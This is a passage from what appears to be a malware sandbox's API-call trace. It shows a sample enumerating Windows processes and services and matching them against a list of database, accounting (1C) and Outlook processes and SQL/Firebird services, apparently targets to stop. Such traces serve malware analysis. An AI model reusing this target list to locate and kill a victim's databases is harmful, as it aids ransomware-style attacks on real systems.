lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.877] lstrlenW (lpString="svchost.exe") returned 11 [0261.877] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.878] lstrlenW (lpString="svchost.exe") returned 11 [0261.878] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.878] lstrlenW (lpString="svchost.exe") returned 11 [0261.878] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.879] lstrlenW (lpString="svchost.exe") returned 11 [0261.879] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.879] lstrlenW (lpString="svchost.exe") returned 11 [0261.879] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.880] lstrlenW (lpString="svchost.exe") returned 11 [0261.880] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.880] lstrlenW (lpString="svchost.exe") returned 11 [0261.881] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.881] lstrlenW (lpString="svchost.exe") returned 11 [0261.881] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.882] lstrlenW (lpString="svchost.exe") returned 11 [0261.882] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0261.882] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0261.882] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0261.882] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0261.882] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0261.882] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0261.882] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0261.882] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.883] lstrlenW (lpString="svchost.exe") returned 11 [0261.883] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0261.883] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0261.883] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0261.883] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0261.883] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0261.883] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0261.883] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0261.883] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0261.884] lstrlenW (lpString="spoolsv.exe") returned 11 [0261.884] lstrcmpiW (lpString1="1c8.exe", lpString2="spoolsv.exe") returned -1 [0261.884] lstrcmpiW (lpString1="1cv77.exe", lpString2="spoolsv.exe") returned -1 [0261.884] lstrcmpiW (lpString1="outlook.exe", lpString2="spoolsv.exe") returned -1 [0261.884] lstrcmpiW (lpString1="postgres.exe", lpString2="spoolsv.exe") returned -1 [0261.884] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spoolsv.exe") returned -1 [0261.884] lstrcmpiW (lpString1="mysqld.exe", lpString2="spoolsv.exe") returned -1 [0261.884] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spoolsv.exe") returned 1 [0261.884] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.885] lstrlenW (lpString="svchost.exe") returned 11 [0261.885] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0261.885] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0261.885] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0261.885] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0261.885] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0261.885] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0261.885] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0261.885] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0261.886] lstrlenW (lpString="audiodg.exe") returned 11 [0261.886] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0261.886] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0261.886] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0261.886] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0261.886] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0261.886] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0261.886] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0261.886] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0261.887] lstrlenW (lpString="sihost.exe") returned 10 [0261.887] lstrcmpiW (lpString1="1c8.exe", lpString2="sihost.exe") returned -1 [0261.887] lstrcmpiW (lpString1="1cv77.exe", lpString2="sihost.exe") returned -1 [0261.887] lstrcmpiW (lpString1="outlook.exe", lpString2="sihost.exe") returned -1 [0261.887] lstrcmpiW (lpString1="postgres.exe", lpString2="sihost.exe") returned -1 [0261.887] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="sihost.exe") returned -1 [0261.887] lstrcmpiW (lpString1="mysqld.exe", lpString2="sihost.exe") returned -1 [0261.887] lstrcmpiW (lpString1="sqlservr.exe", lpString2="sihost.exe") returned 1 [0261.887] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.888] lstrlenW (lpString="svchost.exe") returned 11 [0261.888] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0261.888] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0261.888] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0261.888] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0261.888] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0261.888] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0261.888] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0261.888] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0261.889] lstrlenW (lpString="taskhostw.exe") returned 13 [0261.890] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0261.890] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0261.890] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0261.890] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0261.890] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1 [0261.890] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1 [0261.890] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1 [0261.890] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0262.076] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0262.076] lstrcmpiW (lpString1="1c8.exe", lpString2="OfficeClickToRun.exe") returned -1 [0262.076] lstrcmpiW (lpString1="1cv77.exe", lpString2="OfficeClickToRun.exe") returned -1 [0262.076] lstrcmpiW (lpString1="outlook.exe", lpString2="OfficeClickToRun.exe") returned 1 [0262.076] lstrcmpiW (lpString1="postgres.exe", lpString2="OfficeClickToRun.exe") returned 1 [0262.076] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="OfficeClickToRun.exe") returned -1 [0262.076] lstrcmpiW (lpString1="mysqld.exe", lpString2="OfficeClickToRun.exe") returned -1 [0262.076] lstrcmpiW (lpString1="sqlservr.exe", lpString2="OfficeClickToRun.exe") returned 1 [0262.076] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0262.077] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0262.077] lstrcmpiW (lpString1="1c8.exe", lpString2="SecurityHealthService.exe") returned -1 [0262.077] lstrcmpiW (lpString1="1cv77.exe", lpString2="SecurityHealthService.exe") returned -1 [0262.077] lstrcmpiW (lpString1="outlook.exe", lpString2="SecurityHealthService.exe") returned -1 [0262.077] lstrcmpiW (lpString1="postgres.exe", lpString2="SecurityHealthService.exe") returned -1 [0262.077] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SecurityHealthService.exe") returned -1 [0262.077] lstrcmpiW (lpString1="mysqld.exe", lpString2="SecurityHealthService.exe") returned -1 [0262.077] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SecurityHealthService.exe") returned 1 [0262.077] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0262.078] lstrlenW (lpString="Memory Compression") returned 18 [0262.078] lstrcmpiW (lpString1="1c8.exe", lpString2="Memory Compression") returned -1 [0262.078] lstrcmpiW (lpString1="1cv77.exe", lpString2="Memory Compression") returned -1 [0262.078] lstrcmpiW (lpString1="outlook.exe", lpString2="Memory Compression") returned 1 [0262.078] lstrcmpiW (lpString1="postgres.exe", lpString2="Memory Compression") returned 1 [0262.078] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="Memory Compression") returned 1 [0262.078] lstrcmpiW (lpString1="mysqld.exe", lpString2="Memory Compression") returned 1 [0262.078] lstrcmpiW (lpString1="sqlservr.exe", lpString2="Memory Compression") returned 1 [0262.078] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0262.078] lstrlenW (lpString="explorer.exe") returned 12 [0262.078] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0262.078] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0262.078] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0262.079] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0262.079] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0262.079] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0262.079] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0262.079] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0262.097] lstrlenW (lpString="SearchUI.exe") returned 12 [0262.097] lstrcmpiW (lpString1="1c8.exe", lpString2="SearchUI.exe") returned -1 [0262.097] lstrcmpiW (lpString1="1cv77.exe", lpString2="SearchUI.exe") returned -1 [0262.104] lstrcmpiW (lpString1="outlook.exe", lpString2="SearchUI.exe") returned -1 [0262.104] lstrcmpiW (lpString1="postgres.exe", lpString2="SearchUI.exe") returned -1 [0262.104] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SearchUI.exe") returned -1 [0262.104] lstrcmpiW (lpString1="mysqld.exe", lpString2="SearchUI.exe") returned -1 [0262.104] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SearchUI.exe") returned 1 [0262.104] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0262.105] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0262.105] lstrcmpiW (lpString1="1c8.exe", lpString2="ShellExperienceHost.exe") returned -1 [0262.105] lstrcmpiW (lpString1="1cv77.exe", lpString2="ShellExperienceHost.exe") returned -1 [0262.105] lstrcmpiW (lpString1="outlook.exe", lpString2="ShellExperienceHost.exe") returned -1 [0262.105] lstrcmpiW (lpString1="postgres.exe", lpString2="ShellExperienceHost.exe") returned -1 [0262.105] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ShellExperienceHost.exe") returned -1 [0262.105] lstrcmpiW (lpString1="mysqld.exe", lpString2="ShellExperienceHost.exe") returned -1 [0262.105] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ShellExperienceHost.exe") returned 1 [0262.105] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0262.106] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0262.106] lstrcmpiW (lpString1="1c8.exe", lpString2="RuntimeBroker.exe") returned -1 [0262.106] lstrcmpiW (lpString1="1cv77.exe", lpString2="RuntimeBroker.exe") returned -1 [0262.106] lstrcmpiW (lpString1="outlook.exe", lpString2="RuntimeBroker.exe") returned -1 [0262.106] lstrcmpiW (lpString1="postgres.exe", lpString2="RuntimeBroker.exe") returned -1 [0262.106] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="RuntimeBroker.exe") returned -1 [0262.106] lstrcmpiW (lpString1="mysqld.exe", lpString2="RuntimeBroker.exe") returned -1 [0262.106] lstrcmpiW (lpString1="sqlservr.exe", lpString2="RuntimeBroker.exe") returned 1 [0262.106] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0262.107] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0262.107] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1 [0262.107] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1 [0262.107] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1 [0262.107] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1 [0262.107] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1 [0262.107] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1 [0262.107] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1 [0262.107] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0262.107] lstrlenW (lpString="finbbp.exe") returned 10 [0262.107] lstrcmpiW (lpString1="1c8.exe", lpString2="finbbp.exe") returned -1 [0262.107] lstrcmpiW (lpString1="1cv77.exe", lpString2="finbbp.exe") returned -1 [0262.108] lstrcmpiW (lpString1="outlook.exe", lpString2="finbbp.exe") returned 1 [0262.108] lstrcmpiW (lpString1="postgres.exe", lpString2="finbbp.exe") returned 1 [0262.108] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="finbbp.exe") returned 1 [0262.108] lstrcmpiW (lpString1="mysqld.exe", lpString2="finbbp.exe") returned 1 [0262.108] lstrcmpiW (lpString1="sqlservr.exe", lpString2="finbbp.exe") returned 1 [0262.108] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0262.108] lstrlenW (lpString="cmd.exe") returned 7 [0262.108] lstrcmpiW (lpString1="1c8.exe", lpString2="cmd.exe") returned -1 [0262.108] lstrcmpiW (lpString1="1cv77.exe", lpString2="cmd.exe") returned -1 [0262.108] lstrcmpiW (lpString1="outlook.exe", lpString2="cmd.exe") returned 1 [0262.108] lstrcmpiW (lpString1="postgres.exe", lpString2="cmd.exe") returned 1 [0262.108] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="cmd.exe") returned 1 [0262.108] lstrcmpiW (lpString1="mysqld.exe", lpString2="cmd.exe") returned 1 [0262.108] lstrcmpiW (lpString1="sqlservr.exe", lpString2="cmd.exe") returned 1 [0262.108] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0262.109] lstrlenW (lpString="conhost.exe") returned 11 [0262.109] lstrcmpiW (lpString1="1c8.exe", lpString2="conhost.exe") returned -1 [0262.109] lstrcmpiW (lpString1="1cv77.exe", lpString2="conhost.exe") returned -1 [0262.109] lstrcmpiW (lpString1="outlook.exe", lpString2="conhost.exe") returned 1 [0262.109] lstrcmpiW (lpString1="postgres.exe", lpString2="conhost.exe") returned 1 [0262.109] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="conhost.exe") returned 1 [0262.109] lstrcmpiW (lpString1="mysqld.exe", lpString2="conhost.exe") returned 1 [0262.109] lstrcmpiW (lpString1="sqlservr.exe", lpString2="conhost.exe") returned 1 [0262.109] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0262.110] lstrlenW (lpString="consent.exe") returned 11 [0262.110] lstrcmpiW (lpString1="1c8.exe", lpString2="consent.exe") returned -1 [0262.110] lstrcmpiW (lpString1="1cv77.exe", lpString2="consent.exe") returned -1 [0262.110] lstrcmpiW (lpString1="outlook.exe", lpString2="consent.exe") returned 1 [0262.110] lstrcmpiW (lpString1="postgres.exe", lpString2="consent.exe") returned 1 [0262.110] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="consent.exe") returned 1 [0262.110] lstrcmpiW (lpString1="mysqld.exe", lpString2="consent.exe") returned 1 [0262.110] lstrcmpiW (lpString1="sqlservr.exe", lpString2="consent.exe") returned 1 [0262.110] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.111] lstrlenW (lpString="svchost.exe") returned 11 [0262.111] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.111] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.111] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.111] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.111] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.111] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.111] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0262.111] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0262.111] CloseHandle (hObject=0x4c8) returned 1 [0262.111] Sleep (dwMilliseconds=0x1f4) [0262.648] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa678 [0262.648] EnumServicesStatusExW (in: hSCManager=0x41aa678, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0262.649] GetLastError () returned 0xea [0262.649] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x42d0fe0 [0262.649] EnumServicesStatusExW (in: hSCManager=0x41aa678, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42d0fe0, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42d0fe0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0262.650] CloseServiceHandle (hSCObject=0x41aa678) returned 1 [0262.650] lstrlenW (lpString="Appinfo") returned 7 [0262.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0262.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0262.650] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0262.650] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0262.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0262.650] lstrlenW (lpString="AppXSvc") returned 7 [0262.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0262.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0262.651] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0262.651] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0262.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0262.651] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0262.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0262.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0262.651] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0262.651] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0262.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0262.651] lstrlenW (lpString="Audiosrv") returned 8 [0262.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0262.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0262.651] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0262.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0262.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0262.651] lstrlenW (lpString="BFE") returned 3 [0262.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0262.651] lstrcmpiW 